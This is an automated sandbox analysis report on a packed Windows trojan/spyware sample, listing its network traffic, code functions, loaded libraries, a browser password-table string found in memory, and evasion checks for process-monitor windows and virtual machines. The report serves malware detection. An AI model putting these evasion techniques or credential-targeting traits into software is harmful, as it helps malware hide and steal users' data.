Source: iaLId0uLUw.exe, 00000000.00000003.2182012824.00000000059A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: iaLId0uLUw.exe, 00000000.00000003.2182012824.00000000059A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: iaLId0uLUw.exe, 00000000.00000003.2182012824.00000000059A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735

Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.199.72:443 -> 192.168.2.5:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.166.143.50:443 -> 192.168.2.5:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.5.17.0:443 -> 192.168.2.5:49744 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: iaLId0uLUw.exe	Static PE information: section name:
Source: iaLId0uLUw.exe	Static PE information: section name: .rsrc
Source: iaLId0uLUw.exe	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_0038C8A0	0_2_0038C8A0
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_003858D5	0_2_003858D5
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_0037B100	0_2_0037B100
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_003A9280	0_2_003A9280
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_00393B50	0_2_00393B50
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_0039D34A	0_2_0039D34A
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_003B0460	0_2_003B0460
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_00397440	0_2_00397440
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_00381D2B	0_2_00381D2B
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_003B0D20	0_2_003B0D20
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_00391D00	0_2_00391D00
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_003AC5A0	0_2_003AC5A0
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_00378600	0_2_00378600
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_00392E6D	0_2_00392E6D
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_003A8EA0	0_2_003A8EA0
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_0037E687	0_2_0037E687
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_00382750	0_2_00382750
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_0037D83C	0_2_0037D83C
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_0037D021	0_2_0037D021
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_0038D003	0_2_0038D003
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_0037C840	0_2_0037C840
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_003A88B0	0_2_003A88B0
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_0039C09E	0_2_0039C09E
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_0038B8F6	0_2_0038B8F6
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_003860E9	0_2_003860E9
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_0039C0E6	0_2_0039C0E6
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_003A38D0	0_2_003A38D0
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_0039A0CA	0_2_0039A0CA
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_00396910	0_2_00396910
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_00375901	0_2_00375901
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_0037397B	0_2_0037397B
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_00388169	0_2_00388169
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_00376160	0_2_00376160
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_0038E960	0_2_0038E960
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_0039C09E	0_2_0039C09E
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_003939B9	0_2_003939B9
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_003991AE	0_2_003991AE
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_003AF18B	0_2_003AF18B
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_0039E180	0_2_0039E180
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_0039C9EB	0_2_0039C9EB
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_003B09E0	0_2_003B09E0
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_003981CC	0_2_003981CC
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_0038E220	0_2_0038E220
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_00374270	0_2_00374270
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_003A5A4F	0_2_003A5A4F
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_003ADA4D	0_2_003ADA4D
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_003ACA40	0_2_003ACA40
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_00398ABC	0_2_00398ABC
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_003A9A80	0_2_003A9A80
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_00389AD0	0_2_00389AD0
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_003942D0	0_2_003942D0
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_00388B1B	0_2_00388B1B
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_00379310	0_2_00379310
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_0039F377	0_2_0039F377
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_0037AB40	0_2_0037AB40
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_00391340	0_2_00391340
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_0038EB80	0_2_0038EB80
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_003983D8	0_2_003983D8
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_003773D0	0_2_003773D0
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_0037F3C0	0_2_0037F3C0
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_003A3C10	0_2_003A3C10
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_0038747D	0_2_0038747D
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_003AA440	0_2_003AA440
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_00384CA0	0_2_00384CA0
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_0037D4F3	0_2_0037D4F3
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_003A1CF0	0_2_003A1CF0
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_003924E0	0_2_003924E0
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_003904C6	0_2_003904C6
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_0039C53C	0_2_0039C53C
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_003A9D30	0_2_003A9D30
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_00396D2E	0_2_00396D2E
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_0038051B	0_2_0038051B
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_003AFD70	0_2_003AFD70
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_00394560	0_2_00394560
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_0039CD5E	0_2_0039CD5E
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_0039CD4C	0_2_0039CD4C
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_003A7DA9	0_2_003A7DA9
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_003ACDF0	0_2_003ACDF0
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_003AA5D4	0_2_003AA5D4
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_00375DC0	0_2_00375DC0
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_0038E630	0_2_0038E630
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_0038961B	0_2_0038961B
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_003AFE00	0_2_003AFE00
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_0037F60D	0_2_0037F60D
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_0039FE74	0_2_0039FE74
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_00390E6C	0_2_00390E6C
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_0039EE63	0_2_0039EE63
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_003A8650	0_2_003A8650
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_0038AEB0	0_2_0038AEB0
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_003B06F0	0_2_003B06F0
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_003946D0	0_2_003946D0
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_00399739	0_2_00399739
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_00395F1B	0_2_00395F1B
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_0038DF50	0_2_0038DF50
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_00386F52	0_2_00386F52
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_00397740	0_2_00397740
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_00379780	0_2_00379780
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_05D779A2	0_2_05D779A2
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_05D749A8	0_2_05D749A8
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_05D7737E	0_2_05D7737E
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_05D76EFE	0_2_05D76EFE

Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: String function: 00377F60 appears 40 times
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: String function: 00384C90 appears 77 times

Source: C:\Users\user\Desktop\iaLId0uLUw.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4696 -s 1888

Source: iaLId0uLUw.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: iaLId0uLUw.exe

Static PE information: Section: ZLIB complexity 0.9994064031862745

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@2/5@3/3

Source: C:\Users\user\Desktop\iaLId0uLUw.exe

Code function: 0_2_003A2070 CoCreateInstance,

0_2_003A2070

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4696

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\37ef26a2-da35-4ca9-9ceb-fb4833e16791

Jump to behavior

Source: C:\Users\user\Desktop\iaLId0uLUw.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: iaLId0uLUw.exe, 00000000.00000003.2128975085.00000000056A9000.00000004.00000800.00020000.00000000.sdmp, iaLId0uLUw.exe, 00000000.00000003.2130287666.000000000568E000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: iaLId0uLUw.exe	ReversingLabs: Detection: 57%
Source: iaLId0uLUw.exe	Virustotal: Detection: 48%

Source: iaLId0uLUw.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: iaLId0uLUw.exe	String found in binary or memory: RtlAllocateHeap3Cannot find '%s'. Please, re-install this applicationThunRTMain__vbaVarTstNeV

Source: C:\Users\user\Desktop\iaLId0uLUw.exe

File read: C:\Users\user\Desktop\iaLId0uLUw.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\iaLId0uLUw.exe "C:\Users\user\Desktop\iaLId0uLUw.exe"
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4696 -s 1888

Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: iaLId0uLUw.exe

Static file information: File size 2909696 > 1048576

Source: iaLId0uLUw.exe

Static PE information: Raw size of cowltmfv is bigger than: 0x100000 < 0x29ca00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\iaLId0uLUw.exe

Unpacked PE file: 0.2.iaLId0uLUw.exe.370000.0.unpack :EW;.rsrc :W;.idata :W;cowltmfv:EW;awczhont:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;cowltmfv:EW;awczhont:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: iaLId0uLUw.exe

Static PE information: real checksum: 0x2cb5b3 should be: 0x2ce7c8

Source: iaLId0uLUw.exe	Static PE information: section name:
Source: iaLId0uLUw.exe	Static PE information: section name: .rsrc
Source: iaLId0uLUw.exe	Static PE information: section name: .idata
Source: iaLId0uLUw.exe	Static PE information: section name: cowltmfv
Source: iaLId0uLUw.exe	Static PE information: section name: awczhont
Source: iaLId0uLUw.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_003A7069 push es; retf	0_2_003A7074
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_003AC990 push eax; mov dword ptr [esp], 5C5D5E5Fh	0_2_003AC99E
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Code function: 0_2_0038B324 push F3B9003Bh; retf	0_2_0038B32A

Source: iaLId0uLUw.exe

Static PE information: section name: entropy: 7.976629648951954

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\iaLId0uLUw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\iaLId0uLUw.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

